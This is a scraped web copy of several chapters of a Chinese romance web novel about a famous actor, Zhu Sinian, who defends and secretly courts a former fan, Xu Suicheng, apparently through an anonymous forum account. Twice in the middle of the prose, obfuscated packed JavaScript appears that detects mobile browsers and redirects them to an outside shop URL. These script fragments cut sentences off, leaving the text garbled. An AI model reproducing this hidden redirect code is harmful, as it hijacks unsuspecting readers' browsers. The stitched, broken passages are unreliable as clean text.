再者说,她了解的只是糊咖期的祝斯年,还有糊人期呢?她一无所知。 就像冰山一角,现在作为艺人的他所展露出来的,只是他愿意公之于众的那一面。 而许岁澄没接触过他负面的一面,甚至连他发脾气的时刻都实属罕见。 知礼守节、德艺双馨、敬业上进、零绯闻…… 他的人设形象太好,完美得仿佛捏出来的纸片人。 对此,小渔意味深长地晃动食指。 随后一脸神秘地掏出手机,径直点开一段视频。 “糊咖救世主,给你看个有趣的。” 11. 迷雾港 “哟凡哥,刚到新剧组就收到粉丝的手写信了?” 同为常驻横店的群演,杨一凡却被S+剧组选中做了男主祝斯年的跟班小弟,其他人说不惊羡不过是硬撑罢了。 相互扶持的兄弟几个里,他是长得最好,进步最快,也最有发展潜力的那个。 明明还只是十八线开外,却已经出现好几个路人粉给他送信送手工礼物,这些似乎也印证了杨一凡“自带星相”。 或调侃,或取乐,或阴阳怪气,大家总爱捧他臭脚。 一段时间下来,杨一凡被捧得膨胀,开始自命不凡起来。 有时几个人聚在一起,还会点评那些女粉的颜值和身材,就好像自己已是高人一等的大明星,即将步入“选妃”阶段。 “今天给你送信那姑娘,看清楚脸了没?我就看到穿了件短裙,要胸有胸要屁股有屁股的,还有那笔直的长腿,白的呀……” “你没看到脸啊?可惜了!眼睛大大的,鼻子又挺又小,笑起来还有俩梨涡,嘴巴看起来也好软,就是不知道亲起来软不软……” 几人互视一眼,露出意味不明的笑。 杨一凡没有参与对话,但他嘴角勾起的弧度昭示着:作为被漂亮女粉追逐的主角,倍有面儿。 他轻咳一声,兀自打开信封,像展示能够代表个人魅力的战利品一般。 两指捻起里面折叠的纸张,摊开。 “噗!就……一张收款码啊!” “什么鬼哈哈哈哈!” “杨一凡,你这是被捉弄了吧!” …… 反反复复将信封拆了个底朝天,的确只有一张A4纸打印的收款码。 跟流氓弹窗软件似的,蹬鼻子上脸地强势占据了所有视线。 杨一凡的脸色瞬间变得难看至极,显得那副还算端正的五官也扭曲起来。 “话说,那小美女为什么给你信里塞张收款码?你看起来很人傻钱多吗?” “不能吧,谁有钱能在底层当群演?幻想是贵公子体验生活呢?” 大家常用来自嘲的玩笑话,在此时也变成了某种含沙射影,进一步化作赤裸裸的奚落讥讽。 为了捡回不堪一击的尊严,杨一凡口不择言:“她根本就不是我粉丝啊,其实我早看出那女的不是什么正经姑娘了,经常在各个片场晃悠,估计就物色冤大头呢。” “只是没想到,有人能这么不要脸,手都快伸我裤兜了,这么穷还要来学人家追什么星,直接去会所傍个大款不行吗……” 像是急于撇清关系,他露出一个轻蔑的、异常嫌弃的表情,然后手腕一扬。 揉成一团的信封以及撕烂的收款码,齐齐落进垃圾桶里。 彼时,祝斯年刚结束一场戏。 小川递上水,随口提起杨一凡那边的动静。 “哥,你戏里的小跟班,就是之前被我们撞见还有漂亮女粉来探班的那个……” 本以为祝斯年听过便罢,不会有太大的即时反应。 没曾想,对方喝水的动作一顿,径直拧上瓶盖,示意他继续说。 小川来劲儿了,将自己看到、听到的事情经过原原本本、声情并茂地复述一遍。 “要我说啊,虽然那小姑娘做事的确有点离谱,但他们嘴也太臭了……” 小川撇头,试图寻求祝斯年的认可。 这时才发现,空气已经凝固了。 祝斯年周身那种温和淡然的气场骤然消失,取而代之的是几乎能凝出实质的低气压。 “哥?”小川小声唤了声。 祝斯年没有理会,迈开长腿,几步就跨到那个正准备离开的年轻男孩面前。 抬头看到他,杨一凡显然吃了一惊,脸上堆起恭敬到甚至有些谄媚的笑容,“祝老师?您……” 话未说完,便被打断。 “捡起来。” 祝斯年声音不高,表情也算得上平静,却莫名有种不容置疑的强硬。 杨一凡还以为自己听错了,笑容僵在脸上,“……什么?” “垃圾桶里的信,”他一字一顿,重复道:“捡起来。” 每个字都像是从冰窖里捞出来的。 顺着他的视线看向垃圾桶,杨一凡神色微变,试图解释:“祝老师,那只是一个无关紧要的……” “粉丝的心意,是无关紧要的垃圾?”祝斯年的声音陡然沉下去,那双总是波澜不惊的眼眸此刻锐利如刀,“你还没学会如何站到聚光灯下,就先学会了怎么践踏别人的真心?” 杨一凡被这突如其来的严厉斥责吓得脸色发白,周围频频有目光探来,让他更加无地自容。 也顾不得被人笑话,他急遽弯腰捡起信,“不是,祝老师您看,这封信是恶作剧,那女的根本就是捞女,空手套……” 不想再从他口中听到更多诋毁岁岁名声的龌龊字眼,祝斯年径直打断。 “我不管你将来能走到哪一步,首先得先学会尊重。”他上前一步,逼近对方,用一种近乎居高临下的俯视姿态说道,“无论如何,都不该这么对待粉丝。” “不珍惜自己羽毛的艺人,不会走得长久。” 掷地有声,冠冕堂皇,仿佛只是一场前辈对后辈的“谆谆教导”和“道德训诫”。 任谁听了,都会觉得祝老师当真才高行洁,连这种小事都如此上心。不仅维护粉丝权益,还尽心尽责教后辈如何在娱乐圈立足。 只有祝斯年自己知道,胸腔里翻涌的,根本不是所谓的正义感。 是嫉妒。凭什么这样不识好歹、品行低劣的人,也能得到岁岁的青眼。 是不甘。他究竟做错了什么,以至于岁岁要断崖式地冷落、疏离他。 所有潮湿的、扭曲的、见不得光的情绪,几乎要将他焚毁。 祝斯年闭了闭眼,垂在腿侧的右手紧握成拳,手背青筋暴起。 可再次睁眼时,又恢复了一贯的平静。 因为,他发现此时的自己,最多的竟然是…… 想念。 他在想,岁岁是不是遇到了什么困难,是不是工作不顺利,是不是缺衣少食捉襟见肘,她实在走投无路了才会在信里放一张收款码。 那或许是她的救助信号。 而她唯一做错的,是将这个宝贵的求助信号,递给了一个无能的、不值得托付的烂人。 祝斯年抽掉杨一凡手中的信,“好自为之。” * 桌上的信封无论抚压多少次,也回不到最初的平整。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977890|193534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但被撕烂的收款码重新粘合后,还能长久地发挥关键作用。 从某种角度来说,在这段随时断联的、岌岌可危的关系中,他获得了一定的主动权。 单方面转账,还不能被对方退回的主动权。 看着看着,祝斯年又忍不住点开手机扫描。 只是这次,不再石沉大海,也不再隔了几个晚上才传来回音。 女孩清甜的带些愠恼的声音通过听筒传出:“祝斯年!怎么又莫名其妙转这么多钱!傻大款吧你是!” 祝斯年!怎么又莫名其妙转这么多钱!傻大款吧你是! 祝斯年!怎么又莫名其妙转这么多钱!傻大款吧你是! 如听仙乐耳暂明。 傻大款祝斯年将这条语音前前后后、反反复复听了三遍。 开始思考,手机失手掉到床缝、再一不小心嵌进墙里的可能性有多大。 想了想,还是不要这么做了。 这样他没法及时回岁岁的消息。 或许她也会像自己一样,在等待中煎熬。 这种感觉很难受,他一个人经历过就够了。 尽管他心知肚明,岁岁因人烦忧的可能性为零。 “不多,岁岁这几天太辛苦,瘦了许多……” 本可以劝她减少探班次数,但祝斯年必须得承认,自己没那么大度。 他想见到她,每天,每时,每秒。 迫切的。 “安置补偿款是吧,行,我是不会跟钱客气的。” 许岁澄也不知道对方怎么看出自己瘦了,比体重秤的感应要准。 毕竟,称有坏的可能,人的眼睛又没瞎,所以这波一定是人对。 语音那头,祝斯年低低地轻笑一声,“那太好了,还好我现在有钱了。” 这道温润醇厚的忍笑声,似乎从对方胸腔震出,震得耳尖发麻。 她不禁拉远听筒,揉了揉耳朵,陡然想起今天离开影视城之前,小渔给自己看的那段视频。 原来情绪这样温和稳定的人,也会不顾舆论风险,在众目睽睽之下发火。 扪心自问,不感动是自欺欺人罢了。 而且,许岁澄羞耻地发觉,比起祝斯年一贯冷静理智的那面,他隐隐处于失控边缘时的模样竟狠狠戳中了她的XP。 拍拍脸蛋,许岁澄暗示自己不准“母爱变质”,更不准为了遐想中的男人庸人自扰。 可是…… 他在训斥杨一凡之前,就已经知道那封信是她给的吗? 他是怀着怎样的心情,拾起这封不属于他的信,又出于什么目的,不问前因后果亦不计得失地汇了那笔款。 难道真的仅仅只是因为“她是他最重要的粉丝”? 「甭管多重要,一个当红男明星能为早已爬墙的女粉丝做到这份上?你信吗?信的话等你老了第一个找你卖保健品」 小渔信誓旦旦、激昂顿挫的声音犹在耳畔。 「打个赌吧!我这次绝对会破除魔咒,因为我追的不单是祝斯年,我追的是CP,是你和祝斯年的CP!」 「我磕的CP一定是真的!」 「而且我还给你俩取了个很有宿命感又唯美的CP名,叫——」 岁岁年年。 12. 絮语风 是巧合吗? 望着「岁岁年年」的聊天框,许岁澄陷入沉思。 她从未想过,自己和祝斯年还能有个如此契合的“CP名”。 年年岁岁花相似,岁岁年年人不同。 仿佛是为他俩量身定制。 起初,许岁澄以为「岁岁年年」这个论坛账号就是小渔。 但经过当场旁敲侧击地打探,这一猜测被火速排除。 可…… 「岁岁年年」出现得恰逢其时,当真只是偶然? 翻看聊天记录,她俩最后一次交流停留在前几日。 她为顺利揪出“一号男嘉宾”而高兴,感谢对方的足智多谋与建言献策。 岁岁年年表示:【能帮到救世主宝宝就好。】 既不为自己猜中答案而沾沾自喜,也不关心祝斯年为什么会主动给粉丝转大笔钱,更不追问后续他们之间发生了什么。 这就很不正常。 一个人无论是否追星或混圈,身边出现这种现成的八卦轶事,处于猎奇心理,至少都会问上几嘴吧。 但对方全然没有。 该说ta太有边界感,还是说……所有的发展轨迹本就在ta运筹帷幄之中。 重新回顾过往聊天记录。 “他是明星又不是舔狗” “也不是没这种可能。他只是想留住你” “年年大师与救世主宝宝” “私人画稿,的确很私人” “他对你来说是特殊的对吗” “我讨厌祝斯年” …… 当把祝斯年代入到「岁岁年年」后,那些对方在意的奇怪的点似乎都说得通了。 岁岁年年不在意祝斯年做了什么,只在意她在想什么。 所以,「岁岁年年」会是……祝斯年本人吗? 闪出这一念头时,许岁澄第一反应不是暗喜或冒粉红泡泡。 而是无能狂怒。 他大爷的,敢耍我! 竟然披马甲步步为营引导她主动找上他,此男心机之深,不得不防! 然而,再深入思索一番,那些后知后觉的、隐而不宣的情愫才慢慢蜿蜒而上。 她叫他“年年宝宝”是因为毫不知情,可他为什么要叫她“救世主宝宝”? 前一天晚上得知她讨厌他,第二天为何还能那样毫无芥蒂地欢迎她的到来? 更不消说,那封从别人手里抢来的信,以及那一次次没有缘由的汇款。 内心无数个声音在狂吼—— 「别装了女人!你其实已经感觉到了,祝斯年是喜欢你的对吧!」 如果这种时候,许岁澄还嘴硬地认为,祝斯年大费周章做这些只是为了耍她,为了“报复”她的不告而别。 那只能说明,她在自卑或心虚。 自卑到不敢相信对方喜欢她,亦或是心虚到不愿承受对方如此蓬勃而真挚的感情。 很显然,能自称“救世主”的许岁澄,配得感一直很强。 能让她产生畏避心理的,只有心虚这种可能性。 她不觉得自己做了什么了不起的事,值得一个前途无量的大明星对她念念不忘。 但如果祝斯年当真披着马甲。 那么,她将在正式挑下他的面具之前,不动声色地夺回主动权。 * 接下来的几天,许岁澄减少了探班的频率和时长。 她才发现,祝斯年比自己想象中更敏感。 也更……可爱? 察觉到不对劲,他不直接问缘由,而是暗戳戳地表示: 【这几天天气太差,的确不适合外出,正好岁岁可以在家多休息。】 【不过,我查了天气预报,后天是秋分,再往后一段时间的天气都会很舒适。】 他还发来一张截图。 「秋分宜:出行,会亲友,嫁娶」 多么体贴入微,多么真诚坦率。 像常去投喂的小狗,在你没能赴约的那天,叼着一枚枯黄的枫叶,摇着尾巴蹲在窗台下眼巴巴邀请你出门一同玩耍。 「看,秋天来了,下楼和我一起去踩叶子吧。」 但这招小狗用有效,狗男人用就有待商榷了。 许岁澄偏不如他意。 【的确舒适】 【更适合睡大觉了】 【那睡饱了,会想见到我一些吗?】 啧,这就是狗男人。 明明是他想见你,却要拐着弯儿问你想不想见他。 钢铁直女许岁澄忍住翻白眼的冲动,还没来得及回复。 对方发来一句语音:“好吧岁岁,其实是我想你。” 他一贯清澈的声音此时压低了些,似乎正在走路,风呼呼倒灌进听筒,带来一丝不真实的缱绻。 许岁澄压下翘起的嘴角,一句骚话脱口而出:“有多想?” 死嘴,你到底在夹什么啊! 对面沉默的数十秒里,她频频闪起撤回消息的冲动。 但这样反而显得自己做贼心虚、落了下风。 装死,还是转移话题,这是一个问题。 好在善解人意的祝斯年替她做出选择。 他似乎径直跳过这个暧昧问题,发来一张小猫图。 【今天在片场看到了一只小流浪猫。】 【一直发出咕噜咕噜响。】 【我以为它是喜欢我呢,没忍住上手摸了一下。】 【结果它直接给了我一爪子。】 【小狗抹泪.jpg】 噗。 许岁澄笑出声。 放大照片,一只修长干净、骨节分明的手微弓,轻抚狸花猫毛茸茸的小圆脑袋。 这张图的拍摄角度很有水平,大掌几乎拢住整只猫,手背青筋凸显,骨骼分明而有力。 在暗色狸花花纹的对比下,他的肤色显得越发白皙,指节还透出一丝粉。 啧,此男一定知道自己的手很好看吧。 许岁澄锐评:【看来伤得还不够重,手是看到了,猫呢?】 祝斯年:【稍等,我再发张小猫特写。】 祝斯年:【你先把手机屏幕亮度调到最低,等几秒钟。】 什么鬼,现在看张猫片搞这么神秘。 但许岁澄还是照做了。 黑屏里透出她那张疑惑的脸。 【现在看到了吗?许小猫。】 消息弹出来的那刻,屏幕自动调亮。 给许岁澄整笑了。 真想给他…… 【怎么样?是不是也很想给我一爪子。】 【小狗滑跪.jpg】 好好好,被预判了。 许岁澄还没想好怎么反击他这一幼稚而拙劣的小把戏。 对方又接连发来几条。 【所以,我看到的那只小猫】 【很想你。】 【像。】 【今天看到时也很想。】 【像。】 【明天或许会更想。】 【像。】 【对不起,我的输入法叛变了,怎么也纠正不过来。】 【它好像出卖了我的心。】 他一直都在回答她的问题。 ——有多想? ——现在很想,一会儿会更想。 老实说许岁澄差一点点就被勾引到了。 但在松口之际,及时悬崖勒马。 她一个一个删掉聊天框里的应约文字,然后用她那标准没心没肺地语气说:“祝老师~想我的人多了去了,先排着等叫号吧!” 祝斯年笑道:“遵命。” 过了半小时,他问:“岁岁大王,请问我在您那儿,排在第几号了?” 又过了十分钟,他又问:“可以申请加急吗?” - 急了。 不出意外的话,某人即将换号来试探她的真实态度。 不过,许岁澄这会儿倒不是刻意冷落对方,而是真有事。 暂停商 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【一进来就被一地的苦茶子绊倒了,罚太太再更一百张作为赔偿!】 …… 当然,门外汉只是看热闹,账号太火,自然引来不少专业画师“鉴赏”。 毫不意外,许岁澄被喷惨了。 【这双开门这保温杯轮廓,你认真的吗?】 【老师是从韩国进修回来的吧】 【实力不详,想象逆天】 …… 一生要强的女人,绝不允许在自己的专业领域被人质疑。 菜就多练。 趁着手头宽裕,无需为生活折腰,许岁澄凭手感连画几张速写,想着过几日再找个专业人体模特上.门.服.务。 画完今日给自己定下的最后一个任务。 甘洛琳和岁岁年年的消息同时弹出。 许岁澄先点开了甘洛琳的。 和预想中一样,好姐妹照例先把煞笔单位、领导、同事全骂了一遍,再发下狠话“就这破工作大不了不干了!”,最后图穷匕见“诡秘啊你什么时候傍上大款或者彩票中一个亿,记得包养我啊我不想努力了……” 聊天常备三件套。 但当许岁澄像前几次一样,慷慨转了5200过去,又会被对方无情退回,并酸溜溜附言一句:【我不要钱,我要很多很多爱】 甘洛琳对她和祝斯年这几日发生的一切了如指掌。 俗话说得好,毒唯只对真嫂子破防。 顶流配我闺蜜?差点意思。 第一嫡长闺的危机感骤升。 【这周末不准去探班,天天看有啥好看的】 【你之前不是说要请我去重温学校后街那家盲人按摩店吗?肘,出发!】 许岁澄笑着应下。 俩人又打了近一小时视频电话,八卦局堪堪落幕。 再点进岁岁年年的论坛私信。 本以为对方会佯装不经意地问起她和祝斯年的事儿。 谁知,他竟发来她绘画账号人体结构贴的评论截图。 网友:【女oc还挺正常,男的画得太夸张了,一看太太就缺少实操经验,找个真人男模一比一还原下吧】 一颗橙子:【有道理,在此诚聘18-25岁185+长相俊朗皮肤细腻有光泽8块腹肌大仍子男性人体模特,支持爆照验资(丑的敢来死定了矮的敢来死定了胖的敢来死定哭穷的敢来死定了没照片让我开盲盒的更是死定了不来的也死定了)】 岁岁年年:【真的吗?】 尽管这只是一个梗,但许岁澄不做解释:【保真】 【你有推荐人选?】 许岁澄倒不是真指望对方能推荐。 只是纯粹不想让“疑似祝斯年的正主”好过,趁机耍耍嘴炮罢了。 谁料,对方却问—— 【可以…自荐吗?】 13.云去来 什么意思? 这是要自爆吗? 许岁澄故意阴阳怪气:【可惜年年宝宝是女孩子,目前只需要男模特哦~~】 【唉,毕竟世界就是如此不“公”】 「对方正在输入中……」频频闪烁。 良久,弹出了两行字。 【对不起,救世主宝宝,我是不是没有向你提起过…】 【我是“公”的。】 嚯。就这么沉不住气? 许岁澄乐了:【我不信】 【除非……】 【看看鸡】 见对面不语。 她主动放宽条件:【看看腹肌也行】 【你也知道,做我们这行的嘛,参考的模特一要身材好,二要能任我摆布,三要……也是最重要的一点啊,□□】 【人体大舞台,敢露你就来!】 【看在年年是我亲密网友的份上,你要是全部都能接受的话,我一定优先录用你】 祝斯年,你就继续捂好马甲吧,敢跟我玩阴的,看我玩不死你。 至此,邪恶比格岁岁大王发出桀桀桀的奸诈笑声。 如她所料,无人能从这套虎狼之词中全身而退。 尔后是沉默。 无尽的沉默。 许岁澄懒得再等,泡澡洗漱敷面膜涂身体乳,走完一整套睡前流程后,又坐在工作台前修了会儿图。 最后抱着手机美美躺上床,随手点开某音,首页视频自动播放。 好巧不巧,正是祝斯年配合剧宣参加的一期综艺切片。 几个主持人起哄问他:“众所周知,咱们祝老师从出道至今一部感情戏都没接过,网友们戏称你是洁身自好的贞洁烈男,请问祝老师对此怎么看?” 祝斯年先是语气温和地表达感谢,感谢网友们将这两个顶好的词汇用在他身上。 “不过,接不接感情戏好像并非评判演员是否洁身自好的依据,一切都是为本职工作服务,相信敬业优秀的同行们也不会以此限制戏路。” “当然,未来如果有好的、合适的相关剧本,我会积极尝试。” 可能是意识到这个回答过于滴水不漏、没有综艺感。 他想了想又笑着解释,自己之前其实也拍过几部感情戏。 结果被一众人龇牙咧嘴地狂喷:“是指荧屏初吻还在,男女主在两个时空从头到尾没见过面,顶多就是牵个手大结局相视一笑的感情戏吗!” 好在综艺卖点有了,大家本意并非刻意刁难,于是插科打诨着略过了这个话题。 到游戏环节,战况升级。 主持人与嘉宾们两两轮番对决玩“当然了”快问快答。 这个游戏的规则是无论对方说什么都要回复“当然了”,无法回答则要接受泼水惩罚。 刚开始热场时,主持人还有所收敛。 “你也觉得自己是公司一哥吧?” “当然了。” “你内心也是想接感情戏的吧?” “当然了。” “你其实并不是自愿来录我们的节目吧?” “当然了。” “……” “你其实没那么光辉伟岸,内心也有很多阴暗面吧?” “当然了。” 祝斯年从善如流地补充道:“永远光辉伟岸的只有党和国家。” 好好好,不愧是央妈严选艺人,能把幼稚破冰小游戏玩到这种高度。 …… 接连几个回合,见祝斯年人机似的不为所动。 大家开始放飞自我。 “你不会到现在还是处男吧?” “……当然了。” “你有喜欢的人吗?” “当然了。” “???” “你喜欢的人也是圈内人吧?” 就在大家都以为祝斯年会一如既往面不改色地说出那三个字时,没想到他竟罕见地停顿数秒。 “不是。” 他笑着摇头,这份笑里,少了公式化,多了几分真切。 “愿赌服输。”他闭上眼,微微仰起头,等待对面人的泼水惩罚。 不得不说,长得精致漂亮的人,被泼了满脸水,也只会徒增一抹破碎的美感。 为美貌短瞬的惊叹后,众人后知后觉意识到—— 出道至今零绯闻的祝斯年竟然有了喜欢的人!喜欢的还是圈外人! “是工作人员吗”“对方知道你喜欢她吗”“喜欢多久了”“不会马上要看到祝老师的恋情热搜了吧……” 台上起哄揶揄,台下哀嚎遍地,弹幕多到重影。 只有祝斯年依旧淡然自若,他接过队友递来的毛巾,擦干水渍,“接下来,该我问了。” 很快,局势扭转,他重新掌握主动权。 焦点推回综艺本身。 祝斯年顶着一张人畜无害的脸,把这个游戏毒舌刻薄的属性发挥到极致,最后杀得对手们跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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略略略憋死你憋死你憋死你! 不是运筹帷幄,不是温柔一刀吗?祝斯年,你要是真敢承认,我倒敬你是条…… 【当然了。】 祝斯年回复道:【一直都是。】